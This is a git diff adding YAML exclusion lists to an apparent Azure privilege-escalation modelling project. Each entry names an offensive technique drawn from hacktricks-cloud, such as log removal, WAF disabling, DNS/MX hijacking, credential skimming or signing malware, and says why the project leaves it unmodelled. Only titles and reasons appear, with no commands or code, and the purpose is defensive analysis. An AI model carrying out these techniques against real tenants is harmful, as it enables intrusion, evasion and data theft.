src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#poison-formulas--custom-images-provisioning-time-persistence + technique: Poison formulas / custom images (provisioning-time persistence) + reason: Provisioning-time supply chain for future lab VMs created by others; consumer-dependent, not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#seed-attacker-known-credentials-via-labuser-secrets + technique: Seed attacker-known credentials via lab/user secrets + reason: Seeds lab/user secrets for later use; persistence of access already held. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#pin-configuration-with-azure-policy--firewall-manager + technique: Pin configuration with Azure Policy / Firewall Manager + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#keep-diagnostic-settings-removed-or-narrowed + technique: Keep diagnostic settings removed or narrowed + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#durable-allownat-rule-in-an-inherited-policy + technique: Durable allow/NAT rule in an inherited policy + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#cluster-extension-install--privileged-in-cluster-components-extensionswrite + technique: Cluster extension install — privileged in-cluster components (`extensions/write`) + reason: Extension identity/permissions are extension-defined; page documents no deterministic principal gain beyond Flux (azure-aks-flux-configuration-write). +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#reset-aad--service-principal-profile-resetaadprofile--resetserviceprincipalprofile + technique: Reset AAD / service-principal profile (`resetAADProfile` / `resetServicePrincipalProfile`) + reason: Replaces the cluster's own SP/AAD profile with attacker values; persistence/DoS, no new principal for the source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#related-workload-identity-federated-credential + technique: 'Related: workload-identity federated credential' + reason: Federated identity credential write is modelled generically by the managed-identity FIC entries (other group). +- source: src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md#fslogix-profile-and-session-host-implants + technique: FSLogix profile and session-host implants + reason: Implants in profile containers/session hosts already controlled; users' later sessions are content/behaviour-dependent and not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#attach-a-public-ip--lb-nat-rule-to-a-private-vm-durable-reachability + technique: Attach a Public IP / LB NAT rule to a private VM (durable reachability) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vmware-solution-avs-persistence.md#network-path-persistence-authorizationswrite-addonswrite + technique: Network-path persistence (`authorizations/write`, `addOns/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#policy-shared-across-many-endpoints + technique: Policy shared across many endpoints + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#standing-custom-allow-rule--exclusion + technique: Standing custom allow rule / exclusion + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#pin-it-with-azure-policy + technique: Pin it with Azure Policy + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#keep-diagnostic-settings-removed-or-narrowed + technique: Keep diagnostic settings removed or narrowed + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewaysgetconfigurationaction--bulk-policysecret-pull-data-action-bypasses-the-administrative-log + technique: '`Microsoft.ApiManagement/service/gateways/getConfiguration/action` — bulk policy/secret pull (data action, bypasses the Administrative log)' + reason: Self-hosted gateway configuration/secrets of unknown content; no Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewayslistkeysaction--raw-self-hosted-gateway-keys-offline-token-minting + technique: '`Microsoft.ApiManagement/service/gateways/listKeys/action` — raw self-hosted-gateway keys (offline token minting)' + reason: 'NEEDS SCHEMA: the returned key may authenticate a self-hosted APIM gateway identity, but exact gateway subject, usable credential, new operation, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapispolicieswrite-or-microsoftapimanagementservicepolicieswrite + technique: '`Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackendswrite-or-microsoftapimanagementservicebackendsdelete + technique: '`Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapisdelete + technique: '`Microsoft.ApiManagement/service/apis/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicewrite + technique: '`Microsoft.ApiManagement/service/write`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicesubscriptionsdelete + technique: '`Microsoft.ApiManagement/service/subscriptions/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#telemetry-tampering + technique: Telemetry tampering + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#dosbreak + technique: DoS/Break + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-chaos-studio-post-exploitation.md#cancel--suppress-a-defenders-remediation-drill + technique: Cancel / suppress a defender's remediation drill + reason: Fault injection/telemetry tampering; the experiment identity token is not handed to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-chaos-studio-post-exploitation.md#detonate-faults-against-onboarded-targets-availability-attack + technique: Detonate faults against onboarded targets (availability attack) + reason: Fault injection/telemetry tampering; the experiment identity token is not handed to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md#cloud-shell + technique: Cloud Shell + reason: In-session $MSI_ENDPOINT token use is the caller's own identity (on-box outcome). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentsstorageswrite-and-microsoftappcontainerappswrite + technique: '`Microsoft.App/managedEnvironments/storages/write` and `Microsoft.App/containerApps/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentswrite--suppress-or-redirect-environment-logs + technique: '`Microsoft.App/managedEnvironments/write` — Suppress or redirect environment logs' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespullread + technique: '`Microsoft.ContainerRegistry/registries/pull/read`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#remove-registry-webhooks + technique: Remove registry webhooks + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-ddos-protection-post-exploitation.md#silence-the-mitigation-telemetry + technique: Silence the mitigation telemetry + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-ddos-protection-post-exploitation.md#remove-protection-drop-mitigation--telemetry-in-one-write + technique: Remove protection (drop mitigation + telemetry in one write) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#dns-proxy-caveat + technique: DNS proxy caveat + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#open-the-path-you-need-firewall-policy-edits + technique: Open the path you need (Firewall Policy edits) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#disarm-threat-intel-and-idps-stop-the-alerts + technique: Disarm threat-intel and IDPS (stop the alerts) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#cut-the-firewalls-logs + technique: Cut the firewall's logs + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-front-door-credential-skimming-post-exploitation.md#credential-skimming-via-waf-custom-rules--log-analytics + technique: Credential Skimming via WAF Custom Rules + Log Analytics + reason: Skims end-user credentials of a fronted app; content/user-dependent, not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md#steal-managed-identity-tokens-via-identity_endpoint + technique: Steal managed-identity tokens via `$IDENTITY_ENDPOINT` + reason: On-box outcome step; the reaching code-execution paths are the azure-functions-* / azure-appservice-* entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-guest-configuration-post-exploitation.md#anti-forensics--delete-the-assignment-to-erase-on-box-artifacts + technique: Anti-forensics — delete the assignment to erase on-box artifacts + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#node--kubelet-managed-identity-theft-via-imds--cluster--azure-pivot + technique: Node / kubelet managed-identity theft via IMDS — cluster → Azure pivot + reason: Cluster -> Azure pivot is modelled by k8s/cloud_pivot.yaml k8s-cloud-node-cloud-identity from cluster-admin. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#add-an-attacker-influenced-node-pool-agentpoolswrite + technique: Add an attacker-influenced node pool (`agentPools/write`) + reason: New node pool inherits the cluster kubelet identity; reaching it needs in-cluster code execution modelled by k8s entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#api-server-network-exposure-managedclusterswrite--apiserveraccessprofile + technique: API-server network exposure (`managedClusters/write` — `apiServerAccessProfile`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#cluster-certificate-rotation--invalidate-all-kubeconfigs-rotateclustercertificatesaction + technique: Cluster-certificate rotation — invalidate all kubeconfigs (`rotateClusterCertificates/action`) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowslistswaggeraction---workflow-openapi--endpoint-disclosure + technique: '`Microsoft.Logic/workflows/listSwagger/action` - Workflow OpenAPI / endpoint disclosure' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountspartnerswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicintegrationaccountswrite + technique: '`Microsoft.Logic/integrationAccounts/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountsbatchconfigurationswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountsmapswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountssessionswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesread-microsoftwebsiteswrite + technique: '`Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesstopaction-microsoftwebsitesstartaction--microsoftwebsitesrestartaction + technique: '`Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#delete + technique: '"*/delete"' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowsregenerateaccesskeyaction + technique: '`Microsoft.Logic/workflows/regenerateAccessKey/action`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-maintenance-and-update-manager-post-exploitation.md#anti-patching-persistence-keep-the-foothold-exploitable + technique: Anti-patching persistence (keep the foothold exploitable) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-maintenance-and-update-manager-post-exploitation.md#forced-maintenance-apply--reboot-availability + technique: Forced maintenance apply / reboot (availability) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#appliance-host--credential-jackpot-enrichment + technique: Appliance host = credential jackpot (enrichment) + reason: Requires host compromise of the appliance; yields on-prem credentials, not an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#on-prem-estate-recon-via-read-only-rbac-marquee + technique: On-prem estate recon via read-only RBAC (marquee) + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-playwright-workspaces-post-exploitation.md#workspace-access-token-creation + technique: Workspace access-token creation + reason: 'NEEDS SCHEMA: a Playwright workspace token may confer bounded workspace authority, but the exact token subject, scope, usable token, new operation, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + technique: Read connection configuration to exfiltrate the backing secret + reason: Backing secret of a secret-auth connection; target-service data access, content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#persistence--self-granted-signer--timestamps-that-outlive-revocation + technique: Persistence — self-granted Signer + timestamps that outlive revocation + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#sign-arbitrary-malware-with-an-existing-trusted-profile-marquee + technique: Sign arbitrary malware with an existing trusted profile (marquee) + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#enroll-a-new-certificate-profile-for-signing-control-plane + technique: Enroll a new certificate profile for signing (control-plane) + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#control-the-publisher-identity-via-identity-validation + technique: Control the publisher identity via identity validation + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#managed-identity-token-theft-on-the-session-host + technique: Managed-identity token theft on the session host + reason: On-box outcome step; reaching paths are VM run-command/extension entries and azure-avd-application-write-session-host-rce. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#in-session-phishing-via-usersessionssendmessageaction + technique: In-session phishing via `usersessions/sendMessage/action` + reason: User phishing prompt; user-behaviour-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#control-plane-malicious-app-attach-registration-via-appattachpackageswrite + technique: Control-plane malicious App Attach registration via `appattachpackages/write` + reason: Publishing the package needs applicationgroups/applications/write, already modelled by azure-avd-application-write-session-host-rce. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#device-redirection-exfil-channel-via-hostpoolswrite-customrdpproperty + technique: Device-redirection exfil channel via `hostpools/write` (`customRdpProperty`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#security-admin-alwaysallow-skeleton-key-scope-wide-nsg-bypass + technique: Security admin `AlwaysAllow` skeleton key (scope-wide NSG bypass) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#connectivity-configuration-mass-peering-lateral-movement-fabric + technique: Connectivity-configuration mass peering (lateral-movement fabric) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#security-admin-deny--estate-wide-dos--segmentation-break + technique: Security admin `Deny` — estate-wide DoS / segmentation break + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-vm-extensions--vm-applications + technique: Sensitive information in VM Extensions & VM Applications + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#harvest-boot-diagnostics-logs + technique: Harvest boot diagnostics logs + reason: Data read of boot diagnostics; content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-images + technique: Sensitive information in images + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-restore-points + technique: Sensitive information in restore points + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-disks--snapshots + technique: Sensitive information in disks & snapshots + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#capture-vm--image--cross-tenant-gallery-share-exfiltration + technique: Capture VM → image → cross-tenant gallery share (exfiltration) + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#network-pivoting-nsg-rule--route-table-writes + technique: Network pivoting (NSG rule / route-table writes) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#control-plane-packet-capture-network-watcher-wiretap + technique: Control-plane packet capture (Network Watcher wiretap) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#private-dns-record-hijack-internal-mitm + technique: Private DNS record hijack (internal MITM) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#public-dns-subdomain-takeover-via-dangling-record-dnszonescnameawrite + technique: Public DNS subdomain takeover via dangling record (`dnszones/CNAME|A/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#inbound-email-hijack-via-mx-rewrite-dnszonesmxwrite + technique: Inbound email hijack via MX rewrite (`dnszones/MX/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#ns-delegation-hijack-of-a-subdomain-dnszonesnswrite + technique: NS delegation hijack of a subdomain (`dnszones/NS/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#dns-private-resolver-forwarding-rule-tamper-dnsforwardingrulesetsforwardingruleswrite + technique: DNS Private Resolver forwarding-rule tamper (`dnsForwardingRulesets/forwardingRules/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#front-door--cdn-origin-repoint-edge-reverse-proxy-mitm-cdnprofilesorigingroupsoriginswrite + technique: Front Door / CDN origin repoint (edge reverse-proxy MITM) (`Cdn/profiles/origingroups/origins/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#front-door-rules-engine-headerroute-rewrite-auth-header-backdoor--partial-mitm-cdnprofilesrulesetsruleswrite + technique: Front Door rules-engine header/route rewrite (auth-header backdoor / partial MITM) (`Cdn/profiles/rulesets/rules/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#classic-front-door-v1-backend-pool-repoint--https-downgrade-networkfrontdoorsbackendpoolswrite + technique: Classic Front Door (v1) backend-pool repoint + HTTPS downgrade (`Network/frontDoors/backendPools/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#application-gateway-backend-repoint--listener-tls-cert-swap-regional-l7-mitm-networkapplicationgatewayswrite + technique: Application Gateway backend repoint + listener TLS-cert swap (regional L7 MITM) (`Network/applicationGateways/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#traffic-manager-endpoint-repoint-dns-level-traffic-steal-networktrafficmanagerprofilesexternalendpointswrite + technique: Traffic Manager endpoint repoint (DNS-level traffic steal) (`Network/trafficManagerProfiles/externalEndpoints/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#load-balancer-backendnat-rewrite-in-vnet-l4-redirect-networkloadbalancersbackendaddresspoolswrite + technique: Load Balancer backend/NAT rewrite (in-VNet L4 redirect) (`Network/loadBalancers/backendAddressPools/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#nic-ip-forwarding--in-vnet-mitm-router + technique: NIC IP forwarding → in-VNet MITM router + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#domain-validated--acme-tls-cert-issuance-for-the-victim-domain-dnszonestxtacnamewrite + technique: Domain-validated / ACME TLS cert issuance for the victim domain (`dnszones/TXT|A|CNAME/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#outbound-mail-spoofing-via-spfdkimdmarc-txt-tamper-dnszonestxtwrite + technique: Outbound mail spoofing via SPF/DKIM/DMARC TXT tamper (`dnszones/TXT/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#foreign-tenant--saas-domain-verification-takeover-via-txt-dnszonestxtwrite + technique: Foreign-tenant / SaaS domain-verification takeover via TXT (`dnszones/TXT/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#link-a-private-link-dns-zone-to-a-vnet-without-the-target-record + technique: Link a Private Link DNS zone to a VNet without the target record + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#disk-encryption-set--cmk-revocation-destruction-dos--extortion + technique: Disk Encryption Set / CMK revocation (destruction, DoS & extortion) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#turn-prevention-into-detection-or-off + technique: Turn Prevention into Detection (or Off) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#exclusions-and-custom-rule-allow + technique: Exclusions and custom-rule allow + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#get-under-the-inspection-limits + technique: Get under the inspection limits + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#detach-the-waf-from-the-endpoint-front-door-security-policy-unbind + technique: Detach the WAF from the endpoint (Front Door security-policy unbind) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#application-gateway-for-containers-agc--waf-unbind--traffic-redirect + technique: Application Gateway for Containers (AGC) — WAF unbind / traffic redirect + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#cut-the-waf-logs + technique: Cut the WAF logs + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_control.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_control.yaml new file mode 100644 index 0000000000..ab57f4168f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_control.yaml @@ -0,0 +1,5 @@ +# Control-plane / data-service group refresh against hacktricks-cloud 171e422: techniques reviewed +# and intentionally NOT modelled as principal -> principal privilege-escalation edges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#microsoftcacheredisregeneratekeyaction + technique: "Microsoft.Cache/redis/regenerateKey/action" + reason: "NEEDS SCHEMA: bind the rotated classic Redis key to the exact cache/default user, enabled key auth, successful authentication, and newly effective commands; rotation alone is not escalation." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_entra.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_entra.yaml new file mode 100644 index 0000000000..8703664dee --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_entra.yaml @@ -0,0 +1,108 @@ +# Entra ID / Intune / hybrid-identity group refresh against hacktricks-cloud 171e422: techniques +# reviewed and intentionally NOT modelled as principal -> principal privilege-escalation edges. +# Reasons prefixed "NEEDS_SCHEMA" are real escalations that schema v1 cannot express precisely; +# the proposed requirement/selector/target shapes are tracked outside the catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#intune + technique: Intune privilege escalation (page section) + 